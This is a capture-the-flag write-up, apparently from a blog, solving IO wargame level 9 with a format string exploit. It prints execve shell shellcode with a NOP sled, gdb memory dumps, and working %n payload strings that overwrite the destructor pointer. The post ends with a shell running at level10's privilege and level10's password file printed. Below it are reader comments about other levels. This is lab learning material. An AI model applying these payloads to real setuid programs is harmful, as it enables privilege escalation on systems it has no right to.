Now back to actually competing this IO challenge, I’ve correctly identified that this is in fact a format string vulnerability challenge in which the goal is to get a leveraged shell for the next level by exploiting said vulnerability. Using the format specifier from above (%x) I was able to read what was on the stack.


level9@io:~$ /levels/level09 "%x%x%x%x%x%x"
bffffe9c3ff149d7c782578257825782578257825level9@io:~$

Again I want the shell to be able to get to level 10 IO challenge which means I need to get the binary to execute shellcode that I pass it. I decided the method I would use to get the shellcode to the binary was by loading an environment variable with the shellcode itself like I did in a previous challenge, IO Level 7.


The Shellcode
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"

 


level9@io:~$ env
TERM=xterm
SHELL=/bin/bash
SSH_CLIENT=X.X.X.X 30641 2224
SSH_TTY=/dev/pts/6
USER=level9
MAIL=/var/mail/level9
PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
PWD=/home/level9
SHLVL=1
HOME=/home/level9
LOGNAME=level9
SSH_CONNECTION=X.X.X.X 30641 X.X.X.X 2224
_=/usr/bin/env
OLDPWD=/
level9@io:~$ export SHELLCODE=$(python -c 'print "\x90"*200 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"')
level9@io:~$ env
SHELLCODE=1ÀPh//shh/binãPSá°
Í
TERM=xterm
SHELL=/bin/bash
SSH_CLIENT=X.X.X.X 30641 2224
OLDPWD=/
SSH_TTY=/dev/pts/6
USER=level9
MAIL=/var/mail/level9
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games
PWD=/home/level9
SHLVL=1
HOME=/home/level9
LOGNAME=level9
SSH_CONNECTION=X.X.X.X 30641 X.X.X.X 2224
_=/usr/bin/env

The next part of actually exploiting this vulnerability is now I have find where my shellcode is on the stack, to locate it I open the binary in the application and begin inspecting memory space.


level9@io:~$ gdb -q /levels/level09
Reading symbols from /levels/level09...done.
(gdb) disas main
Dump of assembler code for function main:
0x080483a4 <+0>:     push   %ebp
0x080483a5 <+1>:     mov    %esp,%ebp
0x080483a7 <+3>:     sub    $0x428,%esp
0x080483ad <+9>:     and    $0xfffffff0,%esp
0x080483b0 <+12>:    mov    $0x0,%eax
0x080483b5 <+17>:    sub    %eax,%esp
0x080483b7 <+19>:    movl   $0xbabe,-0xc(%ebp)
0x080483be <+26>:    movl   $0x3ff,0x8(%esp)
0x080483c6 <+34>:    mov    0xc(%ebp),%eax
0x080483c9 <+37>:    add    $0x4,%eax
0x080483cc <+40>:    mov    (%eax),%eax
0x080483ce <+42>:    mov    %eax,0x4(%esp)
0x080483d2 <+46>:    lea    -0x418(%ebp),%eax
0x080483d8 <+52>:    mov    %eax,(%esp)
0x080483db <+55>:    call   0x80482cc <strncpy@plt>
0x080483e0 <+60>:    lea    -0x418(%ebp),%eax
0x080483e6 <+66>:    mov    %eax,(%esp)
0x080483e9 <+69>:    call   0x80482ec <printf@plt>
0x080483ee <+74>:    mov    $0x0,%eax
0x080483f3 <+79>:    leave
0x080483f4 <+80>:    ret
End of assembler dump.
(gdb) br main
Breakpoint 1 at 0x80483ad
(gdb) r
Starting program: /levels/level09

Breakpoint 1, 0x080483ad in main ()
(gdb) x/256xw $ebp
0xbffffbe8:   0xbffffc68 0xb7e9ee16     0x00000001      0xbffffc94
0xbffffbf8:   0xbffffc9c 0xb7fe19d0     0xb7ff6821      0x0177ff8e
0xbffffc08:   0xb7ffeff4 0x0804820c     0x00000001      0xbffffc50
0xbffffc18:   0xb7fefc16 0xb7fffac0     0xb7fe1cc0      0xb7fd1ff4
0xbffffc28:   0x00000000 0x00000000     0xbffffc68      0x713eded3
0xbffffc38:   0x5d1288c3 0x00000000     0x00000000      0x00000000
0xbffffc48:   0x00000001 0x08048300     0x00000000      0xb7ff59c0
0xbffffc58:   0xb7e9ed3b 0xb7ffeff4     0x00000001      0x08048300
0xbffffc68:   0x00000000 0x08048321     0x080483a4      0x00000001
0xbffffc78:   0xbffffc94 0x08048410     0x08048400      0xb7ff0590
0xbffffc88:   0xbffffc8c 0xb7fff908     0x00000001      0xbffffd95
0xbffffc98:   0x00000000 0xbffffda5     0xbffffe91      0xbffffea1
0xbffffca8:   0xbffffeac 0xbffffed2     0xbffffee5      0xbffffef1
0xbffffcb8:   0xbffffefd 0xbfffff4a     0xbfffff60      0xbfffff6f
0xbffffcc8:   0xbfffff80 0xbfffff89     0xbfffff9b      0xbfffffa3
0xbffffcd8:   0xbfffffb2 0x00000000     0x00000010      0xbfebfbff
0xbffffce8:   0x00000006 0x00001000     0x00000011      0x00000064
0xbffffcf8:   0x00000003 0x08048034     0x00000004      0x00000020
0xbffffd08:   0x00000005 0x00000007     0x00000007      0xb7fe2000
0xbffffd18:   0x00000008 0x00000000     0x00000009      0x08048300
0xbffffd28:   0x0000000b 0x000003f1     0x0000000c      0x000003f1
0xbffffd38:   0x0000000d 0x000003f1     0x0000000e      0x000003f1
0xbffffd48:   0x00000017 0x00000000     0x00000019      0xbffffd7b
0xbffffd58:   0x0000001f 0xbfffffe8     0x0000000f      0xbffffd8b
0xbffffd68:   0x00000000 0x00000000     0x00000000      0x00000000
0xbffffd78:   0x28000000 0x9f8cbbee     0x77d64764      0x83f174ec
0xbffffd88:   0x69dd7acc 0x00363836     0x00000000      0x656c2f00
0xbffffd98:   0x736c6576 0x76656c2f     0x39306c65      0x45485300
0xbffffda8:   0x4f434c4c 0x903d4544     0x90909090      0x90909090
0xbffffdb8:   0x90909090 0x90909090     0x90909090      0x90909090
0xbffffdc8:   0x90909090 0x90909090     0x90909090      0x90909090
0xbffffdd8:   0x90909090 0x90909090     0x90909090      0x90909090
0xbffffde8:   0x90909090 0x90909090     0x90909090      0x90909090
0xbffffdf8:   0x90909090 0x90909090     0x90909090      0x90909090
0xbffffe08:   0x90909090 0x90909090     0x90909090      0x90909090
0xbffffe18:   0x90909090 0x90909090     0x90909090      0x90909090
0xbffffe28:   0x90909090 0x90909090     0x90909090      0x90909090
0xbffffe38:   0x90909090 0x90909090     0x90909090      0x90909090
0xbffffe48:   0x90909090 0x90909090     0x90909090      0x90909090
0xbffffe58:   0x90909090 0x90909090     0x90909090      0x90909090
0xbffffe68:   0x90909090 0x90909090     0x90909090      0x31909090
0xbffffe78:   0x2f6850c0 0x6868732f     0x6e69622f      0x5350e389
0xbffffe88:   0xc289e189 0x80cd0bb0     0x45485300      0x2f3d4c4c
0xbffffe98:   0x2f6e6962 0x68736162     0x52455400      0x74783d4d
0xbffffea8:   0x006d7265 0x5f485353     0x45494c43      0x323d544e
0xbffffeb8:   0x312e3230 0x312e3435     0x322e3530      0x33203834
0xbffffec8:   0x31343630 0x32323220     0x53530034      0x54545f48
0xbffffed8:   0x642f3d59 0x702f7665     0x362f7374      0x45535500
0xbffffee8:   0x656c3d52 0x396c6576     0x4c4f4300      0x534e4d55
0xbffffef8:   0x3736313d 0x54415000     0x752f3d48      0x6c2f7273
0xbfffff08:   0x6c61636f 0x6962732f     0x752f3a6e      0x6c2f7273
0xbfffff18:   0x6c61636f 0x6e69622f     0x73752f3a      0x62732f72
0xbfffff28:   0x2f3a6e69 0x2f727375     0x3a6e6962      0x6962732f
0xbfffff38:   0x622f3a6e 0x2f3a6e69     0x2f727375      0x656d6167
0xbfffff48:   0x414d0073 0x2f3d4c49     0x2f726176      0x6c69616d
0xbfffff58:   0x76656c2f 0x00396c65     0x752f3d5f      0x622f7273
0xbfffff68:   0x672f6e69 0x50006264     0x2f3d4457      0x656d6f68
0xbfffff78:   0x76656c2f 0x00396c65     0x454e494c      0x34343d53
0xbfffff88:   0x4d4f4800 0x682f3d45     0x2f656d6f      0x6576656c
0xbfffff98:   0x5300396c 0x4c564c48     0x4c00313d      0x414e474f
0xbfffffa8:   0x6c3d454d 0x6c657665     0x53530039      0x4f435f48
0xbfffffb8:   0x43454e4e 0x4e4f4954     0x3230323d      0x3435312e
0xbfffffc8:   0x3530312e 0x3834322e     0x36303320      0x31203134
0xbfffffd8:   0x36312e30 0x312e302e     0x32203034      0x00343232

I easily found the 200 byte Nop sled beginning at the memory address of 0xbffffda8 and then followed by my shellcode. I decided I want to attempt to get the program to jump to the memory location of 0xbffffdc8 as it is near the start of my NOP sled, which is good in case I undershoot I could still potentially hit my NOP sled and as well as if I overshoot this location I would still lead in this NOP Sled.

So the next part now that I’ve gotten my shellcode onto the stack and located where about on the stack it is, I need to determine a way to have the binary’s execution flow get to my shellcode, I did this by using the return point of the program. So this meant I want to find the binary’s destructor routine as this is the easiest method, I tried to use objdump to find the ‘DTOR’ location, which is when I learnt of the ‘nm’ command which can can used to “list symbols from object files”.


level9@io:~$ nm /levels/level09 |grep __DTOR_
080494d4 d __DTOR_END__
080494d0 d __DTOR_LIST__

So now I know that the memory address of 0x080494d4 contains where the destructor function pointer begins and ends at 0x080494d7, because of it being 4-bytes long. I now need to write the address of 0xbffffdc8 over the top of the destruction function pointer, as shown below.

0x080494d4: c8
0x080494d5: fd
0x080494d6: ff
0x080494d7: bf

Notice it is reversed to account for little endian. Now I have all the information required I need to start producing the format string which will exploit the vulnerability in this IO level. Using the “%n” format specifier I am able to write bytes to an argument to the stack, and by using the “$” I can specify what the bytes to write are. I came up with the below python string as a PoC format string to test if I was on the right track.


$(python -c'print "\xd4\x94\x04\x08" + "\xd5\x94\x04\x08" + "\xd6\x94\x04\x08" + "\xd7\x94\x04\x08" + "%4$n%5$n%6$n%7$n"')

When it came time to test the PoC format string I opened the binary into gdb and then ran the binary with the string.


level9@io:~$ gdb -q /levels//level09
Reading symbols from /levels/level09...done.
(gdb) r $(python -c'print "\xd4\x94\x04\x08" + "\xd5\x94\x04\x08" + "\xd6\x94\x04\x08" + "\xd7\x94\x04\x08" + "%4$n%5$n%6$n%7$n"')
Starting program: /levels/level09 $(python -c'print "\xd4\x94\x04\x08" + "\xd5\x94\x04\x08" + "\xd6\x94\x04\x08" + "\xd7\x94\x04\x08" + "%4$n%5$n%6$n%7$n"')

Program received signal SIGSEGV, Segmentation fault.
0x10101010 in ?? ()

Bingo! The binary crashes because I’ve overwritten the EIP register with 0x10 4 times, which means my PoC format string successfully overwrote the instruction pointer. Though there is a problem my NOP sled doesn’t lie at 0x10101010, it lies at 0xbffffdc8. The “%n” writes the length of the string to the arguement which is written onto the stack. This is where the “%u” format specifier comes into play as I can use this to control the length of each argument that I want to write.

I now need to add the “%u” specifier to my current PoC format string. I know that 0x10 was written to the destructor point memory address with means if I want to write 0xd8 to this start of destructor point I need to minus 0x10 from this location. To make what I mean more clear I’ve done an example.

Example:
0xc8-0x10=b8 or 200-16=184

This is means if I want the value “0xc8” which is the start of the memory address of the NOP sled written to the destructor pointer I need to specifier the length to be 184. I now need to work out the byte lengths to write to the remaining addresses. Note you don’t subtract 0x10 from each byte but instead subtract the next byte from the previous bytes but if the next byte is larger then the previous it is subtracted from 256 and then add the next byte to the result.

c8 = 184     (0xd8-0x10)
fd = 309     (256-0xc8+0xfd)
ff = 258     (256-0xfd+0xff)
bf = 64     (0xff-0xbf)

Adding this to my PoC format string I get the below string.


$(python -c'print "\xd4\x94\x04\x08\xd5\x94\x04\x08\xd6\x94\x04\x08\xd7\x94\x04\x08%.184u%4$n%.309u%5$n%.258%6u$n%.64u%7$n"')

 


level9@io:~$ gdb -q /levels/level09
Reading symbols from /levels/level09...done.
(gdb) br main
Breakpoint 1 at 0x80483ad
(gdb) r $(python -c'print "\xd4\x94\x04\x08\xd5\x94\x04\x08\xd6\x94\x04\x08\xd7\x94\x04\x08%.184u%4$n%.309u%5$n%.258%6u$n%.64u%7$n"')
Starting program: /levels/level09 $(python -c'print "\xd4\x94\x04\x08\xd5\x94\x04\x08\xd6\x94\x04\x08\xd7\x94\x04\x08%.184u%4$n%.309u%5$n%.258%6u$n%.64u%7$n"')

The above PoC format string wasn’t successful, so I began debugging and found that only the first 2 memory address of the destructor pointer where being overwritten by the bytes I wanted.


Breakpoint 1, 0x080483ad in main ()
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x4201fdc8 in ?? ()
(gdb) x/4xw 0x080494d4
0x80494d4 <__DTOR_END__>:       0x4201fdc8      0x00000002      0x00000001      0x00000010

As I was pretty confindent that my PoC format string was correct I began looking around for what possible could be the caused of the problem. Possible list of solutions I attempted were the following:

  • NOP out the first 4 memory addresses and then attempt to overwrite the next 4 memory addresses with the bytes I wanted.
  • Modified my bytes I was overwriting with new bytes.
  • I also tried to find a method to jump directly into my NOP sled.

With none of my previous solutions yielding any success, this is when I decided maybe a different scripting langage such as perl was needed, I transferred my python PoC format string into a perl PoC format string, getting the below PoC format string.


$(perl -e 'print "\xd4\x94\x04\x08\xd5\x94\x04\x08\xd6\x94\x04\x08\xd7\x94\x04\x08%.184u%4\$n%.309u%5\$n%.258u%6\$n%.64u%7\$n"')

When I ran this script I got a SEGSEGV error, the eip register was pointing to the memory location of 0x3ffffdc8. Next I had a look at the destructor point memory address and saw that the last memory address I had attempted to written in, 0x080494d7, contained a 0x3f instead of a 0xbf.


level9@io:~$ gdb -q /levels/level09
Reading symbols from /levels/level09...done.
(gdb) br main
Breakpoint 1 at 0x80483ad
(gdb) r $(perl -e 'print "\xd4\x94\x04\x08\xd5\x94\x04\x08\xd6\x94\x04\x08\xd7\x94\x04\x08%.184u%4\$n%.309u%5\$n%.258u%6\$n%.64u%7\$n"')
Starting program: /levels/level09 $(perl -e 'print "\xd4\x94\x04\x08\xd5\x94\x04\x08\xd6\x94\x04\x08\xd7\x94\x04\x08%.184u%4\$n%.309u%5\$n%.258u%6\$n%.64u%7\$n"')

Breakpoint 1, 0x080483ad in main ()
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x3ffffdc8 in ?? ()
(gdb) x/4xw 0x080494d4
0x80494d4 <__DTOR_END__>:       0x3ffffdc8      0x00000003      0x00000001      0x00000010

Debugging this perl script I found that I was successfully writing the memory address of my NOP sled to the destructor pointer which is then executed by the binary and gives me the shell.


level9@io:~$ /levels/level09 $(perl -e 'print "\xd4\x94\x04\x08\xd5\x94\x04\x08\xd6\x94\x04\x08\xd7\x94\x04\x08%.184u%4\$n%.309u%5\$n%.258u%6\$n%.192u%7\$n"')
sh-4.2$ id
uid=1009(level9) gid=1009(level9) euid=1010(level10) groups=1010(level10),1009(level9),1029(nosu)
sh-4.2$ cat /home/level10/.pass
IJ7jNEsSiGyPUA

I/O – Level 10

This working on this challenge.

—————————————-

Useful links

Using GDB effectively to debug programs

Advertisements

4 comments

  1. Thx for your Blog!! I love it. One question, how did you executed the python script on Level 6?

    import os
    x = 4
    print hex(id(‘SHELLCODE’))

    If i create a python script in /tmp, then i get Permission denied if i try to execute it.

  2. Thank you for your blog! Can you tell us how to execute the python script on Level 6 which outputs the address of the shellcode? I tried to create a python script in /tmp, but i can’t execute it because i don’t have permission.

  3. Thank you for this blog! But creating the explit in /tmp with “python -c ‘print “A”*20 + “\n” + “Z” * 4075 + “B”*14 + “\x20\x25\xd6\xb7” + “C\n”‘ &gt; exploit”

    Does not work, because it says:
    -bash: amp: command not found
    -bash: gt: command not found
    -bash: exploit: command not found

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s